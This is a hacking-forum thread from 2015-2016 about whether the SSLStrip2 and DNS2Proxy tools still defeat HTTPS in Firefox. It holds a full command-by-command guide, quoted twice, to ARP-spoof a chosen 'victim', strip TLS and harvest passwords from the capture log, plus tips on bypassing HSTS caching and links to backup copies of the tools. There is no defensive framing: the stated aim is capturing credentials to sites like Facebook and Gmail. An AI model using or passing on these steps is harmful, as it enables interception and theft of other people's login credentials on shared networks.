Does anyone know whether SSLStrip2 and DNS2Proxy still work with latest versions of Firefox?
After finally tracking down copies of both of these scripts:
SSLStrip2 - https://github.com/byt3bl33d3r/sslstrip2
DNS2Proxy - https://github.com/byt3bl33d3r/dns2proxy
Have been experimenting to no avail, but wasn't sure whether the reason for my failure was operator error or whether the vulnerability had been patched?
I didn't experienced any problems with DNS2Proxy on firefox, I would bet on operator error ;)
And so you were able to successfully obtain credentials from your victim machine to a site which would have otherwise been protected by https (such as facebook, twitter or gmail)?
I've tried mitmf today and looks like sslstrip is not working but i'm not sure what version it has
Dec 28, 2015 04:29 PM
(This post was last modified: Dec 28, 2015 04:36 PM by Velocity24.)
Here are the steps involved (if perhaps I'm doing something wrong):
Installation
Clone the git to your machine:
Code git clone https://github.com/byt3bl33d3r/dns2proxy.git
git clone https://github.com/byt3bl33d3r/sslstrip2.git
Navigate to the directory to which SSLStrip2 was cloned:
Code cd sslstrip2
python setup.py install
Execution
Enable port fowarding:
Code echo "1" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
Then use determine your interface that's connected to the network (i.e. wlan0):
Next determine the gateway IP address (it will be something like 192.168.1.1):
Then scan for your victims IP address using NMap:
Code nmap -sn 192.186.1.1/24
Once you've obtained your victims IPV4 address, then start arpspoofing to capture packets from the victim:
Code arpspoof -i wlan0 -t {victims IPV4 address} {gateway IP address}
Then open a new terminal and start SSLstrip:
Code sslstrip -l 9000 -a -w log.txt
Then open another terminal and proceed to start the DNS server, first by navigating to the directory where DNS2proxy was cloned:
Code cd..
cd dns2proxy
python dns2proxy.py
At this point the attack has been implemented, to view what has been captured open another terminal and type:
Search the document using "ctrl + f" for phrase "pass="
To halt the attack use "ctrl + c" in the active terminals.
Dec 28, 2015 05:28 PM
(This post was last modified: Dec 28, 2015 05:33 PM by pomwtin.)
Tried it now, still working.
You do know that it wont prevent SSL if you type in url (e.g. facebook.com, which uses HSTS) if it was visited before.
It only works if site is navigated via web browser which ssl can strip (i tried google)
If you want sslstrip to prvent SSL on pages using HSTS even if already cached, you have to delete cache entrys first... for this you can use my cacheraser- it still needs some work, but is working currently
9x HD5970
2X GTX 980Ti
GTX 980
GTX 1060
R9 390
Cracking your hashes
DO NOT DEAL WITH THIS MEMBER
(Dec 28, 2015 04:29 PM)Velocity24 Wrote: Here are the steps involved (if perhaps I'm doing something wrong):
Installation
Clone the git to your machine:
Code git clone https://github.com/byt3bl33d3r/dns2proxy.git
git clone https://github.com/byt3bl33d3r/sslstrip2.git
Navigate to the directory to which SSLStrip2 was cloned:
Code cd sslstrip2
python setup.py install
Execution
Enable port fowarding:
Code echo "1" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
Then use determine your interface that's connected to the network (i.e. wlan0):
Next determine the gateway IP address (it will be something like 192.168.1.1):
Then scan for your victims IP address using NMap:
Code nmap -sn 192.186.1.1/24
Once you've obtained your victims IPV4 address, then start arpspoofing to capture packets from the victim:
Code arpspoof -i wlan0 -t {victims IPV4 address} {gateway IP address}
Then open a new terminal and start SSLstrip:
Code sslstrip -l 9000 -a -w log.txt
Then open another terminal and proceed to start the DNS server, first by navigating to the directory where DNS2proxy was cloned:
Code cd..
cd dns2proxy
python dns2proxy.py
At this point the attack has been implemented, to view what has been captured open another terminal and type:
Search the document using "ctrl + f" for phrase "pass="
To halt the attack use "ctrl + c" in the active terminals.
Pretty neat guide I was planning to do a video on this a few months back but never did might try this guide out and tweak it for a video i'll do for my new YouTube channel.
Dec 28, 2015 07:09 PM
(This post was last modified: Dec 28, 2015 09:44 PM by Velocity24.)
Still no joy unfortunately guys, I must be fucking something up somewhere along the way. I am encountering this error:
Code sslstrip -l 9000 -a -w log.txt
sslstrip 0.9 + by Moxie Marlinspike running...
+ POC by Leonardo Nve
Unhandled Error
Traceback (most recent call last):
File "/usr/local/bin/sslstrip", line 107, in main
reactor.run()
File "/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/internet/base.py", line 1169, in run
self.mainLoop()
File "/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/internet/base.py", line 1181, in mainLoop
self.doIteration(t)
File "/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/internet/pollreactor.py", line 167, in doPoll
log.callWithLogger(selectable, _drdw, selectable, fd, event)
--- <exception caught here> ---
File "/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/python/log.py", line 84, in callWithLogger
return callWithContext({"system": lp}, func, *args, **kw)
File "/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/python/log.py", line 69, in callWithContext
return context.call({ILogContext: newCtx}, func, *args, **kw)
File "/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/python/context.py", line 118, in callWithContext
return self.currentContext().callWithContext(ctx, func, *args, **kw)
File "/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/python/context.py", line 81, in callWithContext
return func(*args,**kw)
File "/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/internet/posixbase.py", line 599, in _doReadOrWrite
self._disconnectSelectable(selectable, why, inRead)
File "/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/internet/posixbase.py", line 263, in _disconnectSelectable
selectable.connectionLost(f)
File "/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/internet/tcp.py", line 433, in connectionLost
Connection.connectionLost(self, reason)
File "/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/internet/tcp.py", line 277, in connectionLost
protocol.connectionLost(reason)
File "/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/web/http.py", line 455, in connectionLost
self.handleResponseEnd()
File "/usr/local/lib/python2.7/dist-packages/sslstrip/ServerConnection.py", line 127, in handleResponseEnd
HTTPClient.handleResponseEnd(self)
File "/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/web/http.py", line 466, in handleResponseEnd
self.handleResponse(b)
File "/usr/local/lib/python2.7/dist-packages/sslstrip/ServerConnection.py", line 143, in handleResponse
self.client.write(data)
File "/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/web/http.py", line 898, in write
raise RuntimeError('Request.write called on a request after '
exceptions.RuntimeError: Request.write called on a request after Request.finish was called.
Unhandled Error
Hi,
does someone have a copy of sslstrip2? cause it is not available on github anymore.
Cheers.
(Oct 16, 2016 10:37 AM)kojotass Wrote: Hi,
does someone have a copy of sslstrip2? cause it is not available on github anymore.
Cheers. Do you not read dates? This thread was from dec of last year. smh
Fuck bitches, then we die.
Oct 16, 2016 12:23 PM
(This post was last modified: Oct 16, 2016 12:24 PM by pomwtin.)
(Oct 16, 2016 10:37 AM)kojotass Wrote: Hi,
does someone have a copy of sslstrip2? cause it is not available on github anymore.
Cheers.
Well since the thread is alreaddy bumped... here you go:
http://crackingservice.com/backup/sslstr...iginal.zip
http://crackingservice.com/backup/dns2pr...iginal.zip
I can vouch for genuinity of files, it is my personal backup
9x HD5970
2X GTX 980Ti
GTX 980
GTX 1060
R9 390
Cracking your hashes
Great pomwtin.
Much appreciated!
DO NOT DEAL WITH THIS MEMBER
(Oct 16, 2016 12:23 PM)pomwtin Wrote: Well since the thread is alreaddy bumped... here you go:
http://crackingservice.com/backup/sslstr...iginal.zip
http://crackingservice.com/backup/dns2pr...iginal.zip
I can vouch for genuinity of files, it is my personal backup
Are these still working mate?
Probably not. I have tested it on FF49 and Gmail without success, but.. it is good to have it.
Yes, they do work if used as supposed
9x HD5970
2X GTX 980Ti
GTX 980
GTX 1060
R9 390
Cracking your hashes
|